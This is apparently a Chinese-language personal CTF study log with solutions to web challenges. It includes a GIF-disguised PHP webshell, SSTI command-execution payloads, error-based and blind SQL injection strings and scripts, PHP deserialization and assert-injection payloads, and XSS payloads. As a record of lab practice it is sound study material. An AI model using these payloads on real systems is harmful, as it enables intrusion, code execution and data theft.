这题不能上传.htaccess解决。。。
所以必须用.user.ini来做。。。
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
还是GIF的马好弄。。
GIF89a
<script language="php">eval($_GET['cmd']);</script>
.user.ini中写入再蚁剑连接index.php即可
auto_prepend_file=01.gif
[护网杯 2018]easy_tornado
还不是很会做。。。。
对着答案操作了一遍
然后那个生成md5要用python的。。
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode('utf-8'))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '703a79f7-6795-4a53-881c-b13a45dd0fff'
print(md5(cookie_secret+md5(filename)))
filehash()
[ZJCTF 2019]NiZhuanSiWei
一道有趣的题

也可以data伪协议
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
?text=data://text/plain,welcome to the zjctf
注意不要多加空行。。。然而我还不是很会弄反序列化。。。
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
记个板子在这里OvO
[GXYCTF2019]BabySQli
不大会。。。
看了答案
攻防世界 favorite_number
不是很懂正则表达式。。。
一些笔记:
PHP数组key溢出,简单的说就是stuff[4294967296]表示的值,与stuff[0]是一个。
因为preg_match()开启了/m,也就是开启了多行匹配,因此^和$不仅匹配字符串的开头和结尾,也能匹配一行的开头和结尾,因此可以利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。
别的就是命令执行了OvO
攻防世界 Web_python_template_injection
类似于tornado。。是一道模版注入题
我感觉模版注入题有点像命令执行。。。
反正我还不是很懂。。。
payload:%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat%20fl4g%22).read()'%20)%7D%7D
攻防世界 shrine
又是一道SSTI。。。还是不会。。。对着答案操作了一遍。。。
-----------------
emmm大概有一点点理解了。。。
[极客大挑战 2019]HardSQL
还是不会做。。。。只能说我学的太少了。。。。
先用BS试了一下哪些被过滤了。。。发现空格union什么的都不能用
空格的话,试了/**/%09什么的都不行。。
于是用括号包裹查询的东西就可以绕过了
然后就在BS上操作。。死活报错。。整不出来
结果我忘了用报错注入了。。。
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
concat后面好像一定要加~来意思一下。。。
接下来查表。。。
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
where里的=被屏蔽了。。所以要用like来绕过
select外面必须要一个括号。。。不知道为什么。。。
然后再查列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
然后可以查字段了。。。
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
只是只能看到flag左边的部分。。。
而mid和substring似乎被屏蔽了。。。
所以要用right函数。。。
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#
晕了TwT
但收获还是挺大的OvO
[CISCN2019 华北赛区 Day2 Web1]Hack World
感觉今天一天都嗑在这道题上了。。。
每当我以为自己掌握了SQL注入,总会出现一道让我眼前一黑的题
这道题的过滤我觉得很狡猾
一个空格没事,但左边多放点别的就不行了
union只要左右两边都有东西就不行了。。。
但可以发现这道题是整数型注入,而且1和2本来就是有结果的!
同上一题使用括号绕过空格!
利用1和2的结果,来布尔盲注OvO
于是我第一次自己写脚本OvO
import requests
url = "http://f5c8bb62-09cf-4b7b-9677-e6f58235001b.node4.buuoj.cn:81/index.php"
payload = {
"id" : ""
}
flag=""
for i in range(1,50):
for j in '-{}abcdefghijklmnopqrstuvwxyz1234567890':
payload["id"]='(substr((select(flag)from(flag)),%d,1)=\'%c\')'%(i,j)
html=requests.post(url,data=payload)
while html.status_code!=200:
html=requests.post(url,data=payload)
if "Hello" in html.text:
print(i)
flag=flag+j;
print(flag)
print(flag)
要注意可能会因为请求过多返回429。。。
这时候我们要用更多的请求打败他!
然后你会发现有几个位置的字符跑不出来。。。
因为'-'也被屏蔽了。。。
手动加上去就行了
攻防世界 web2
最近在上海。。准备过年。。做的题可能比较少
反正就是一道水题。。。有趣的是rot13加密解密是一个函数
攻防世界 mfw
用GIthack看到了index.php...
然后不会做了
这里是利用了assert函数的漏洞
考虑构造?page=') or system('cat ./template/flag.php');//
这样拼接以后$file="/template/') or system('cat ./template/flag.php');//.php"
替换后变成了assert("strpos('/template/') or system('cat ./template/flag.php');//.php', '..') === false")
assert()函数会将括号中的字符当成代码来执行,并返回true或false。
相当于执行strpos('/template/') or system('cat ./template/flag.php');
or之前的那个直接报错了,所以会运行后面的system
然后举一反三用and来构造一个payload:/?page=flag.php','f')%20and%20system('cat%20templates/flag.php');//
[网鼎杯 2020 青龙组]AreUSerialz
除夕夜不想看春晚就来写题
这题真是搞笑。。。
对着模板构造了O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
然后看源代码就可以了。。?
绕过protect:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
然后我其实没有注意到那个2的弱比较强比较。。。反正就是绕过了。。。
其实还可以伪协议
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "2";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
攻防世界 Confusion1
不会做。。。看答案的。。。
[网鼎杯 2018]Fakebook
新年快乐!!!!!!!虎虎生风!!!!!!!
不会做啊啊啊啊啊啊啊啊
看答案了。。。明天开始回顾以前做过的题目
一些经验:union select被过滤了不代表union或select一定被过滤了
查表名的payload
http://111.200.241.244:54458/view.php?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema=database()
其实我还不是很懂。。。
我好菜。。
这里的++是浏览器会把++解析成空格
N1BOOK [第一章 web入门]常见的搜集
回杭州了,开始看从零到一
flag在robots.txt,index.php~,.index.php.swp里
我的dirsearch好像不大行。。。
N1BOOK[第一章 web入门]粗心的小李
用githack注意加http://
N1BOOK[第一章 web入门]SQL注入-1
就当是复习命令了。。。
要养成用order by试探的习惯!!!
N1BOOK[第一章 web入门]SQL注入-2
我太傻了。。。
我单是知道admin是用户名,却不知道admin是一个注入点。。。
剩下的就是各种盲注了。。。
贴一个脚本
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://bad93736-9ed0-4a34-9f25-3eb1f2f97811.node4.buuoj.cn:81/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.05)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
N1BOOK[第一章 web入门]afr_1
直接php://filter
N1BOOK[第一章 web入门]afr_2
img..跳到上一级
N1BOOK[第一章 web入门]afr_3
你管这叫入门。。。。算了先去学Flask去了TwT
嘛就先是在proc里看正在运行的进程。。。
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
然后发现一个server.py
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
n1node有过滤,不能直接SSTI,考虑修改session。。。
然后构造新的SSTI...注意转义单引号
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
好难。。还是不懂session。。
换个网站刷水题。。
/?flag={{config}}里面看flag
SQLI-LABS
最近在做这个
文件包含
正则表达式
返校啦OvO
学了这个
[GWCTF 2019]我有一个数据库
用dirsearch扫出phpmyadmin
然后不会了。。
对着答案操作了一遍
看来以后要对版本敏感一点
[BJDCTF2020]ZJCTF,不过如此
还是不会。。。看了答案
看来我根本不懂php
[GXYCTF2019]BabyUpload
没做出来。。。但学到了新的操作
可以在Content里面改image/jpeg来绕过一些检查
然后如果php里system被禁用了可以用var_dump,scandir,file_get_contents来绕过
[BJDCTF2020]The mystery of ip
XFF头还可以SSTI。。
是我菜了
[BUUCTF 2018]Online Tool
很有趣的题目
escapeshellarg()和escapeshellcmd()连续使用会有漏洞:教程
然后nmap -oG命令可以文件写入。。。
[网鼎杯 2020 朱雀组]phpweb
尝试发现func和p可以用来执行命令,但system什么的被禁了
hightlight_file可以查看index.php
<?php
$disable_fun =
array("exec","shell_exec","system","passthru" , "proc_open" , "show_source" , "phpinfo" , "popen" , "dl" , "eval" , "proc_terminate" , "touch" , "escapeshellcmd" , "escapeshellarg" , "assert" , "substr_replace" , "call_user_func_array" , "call_user_func" , "array_filter" , "array_walk" , "array_map" , "registregister_shutdown_function" , "register_tick_function" , "filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" , "array_walk" , "array_walk_recursive" , "pcntl_exec" , "fopen" , "fwrite" , "file_put_contents" );
function gettime ( $func , $p ) {
$result = call_user_func ( $func , $p );
$a = gettype ( $result );
if ( $a == "string" ) {
return $result ;
} else {return "" ;}
}
class Test {
var $p = "Y-m-d h:i:s a" ;
var $func = "date" ;
function __destruct () {
if ( $this - > func != "" ) {
echo gettime ( $this - > func , $this - > p );
}
}
}
$func = $_REQUEST [ "func" ];
$p = $_REQUEST [ "p" ];
if ( $func != null ) {
$func = strtolower ( $func );
if (! in_array ( $func , $disable_fun )) {
echo gettime ( $func , $p );
}else {
die( "Hacker..." );
}
}
? >
然后我就不会了。。。
事实上考虑反序列化就行了
其中class里面的var是个public的别名
[BSidesCF 2020]Had a bad day
php://filter还可以套一层协议。。。
woofers/../flag可以绕过字符串一定包含woofers的条件
N1BOOK [第二章 web进阶]XSS闯关
第一关:没有什么过滤之类的,直接username=alert(1)就行了
第二关:有escape(username),但前面定义变量的地方可以直接注入JS代码username=xss';alert(1);//
第三关:好像会转义引号,那就再加一个反斜杠吧username=xss/';alert(1);//
第四关:window.location.search.substring(1);表示获取?后面的值,利用伪协议把jumpUrl修改为javascript:alert(1)
第五关:没注意到autosubmit其实是个get值...剩下的和前面一样了autosubmit=1&action=javascript:alert(1)
第六关:好像所有特殊字符都被编码了,观察发现该界面调用了AngularJS,考虑利用此JS的漏洞username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Python Request模块
在CTFSHOW上入门了XSS~~~
算是有点系统的学了一下PHP特性。。?
Comments | 2 条评论
真不错
好家伙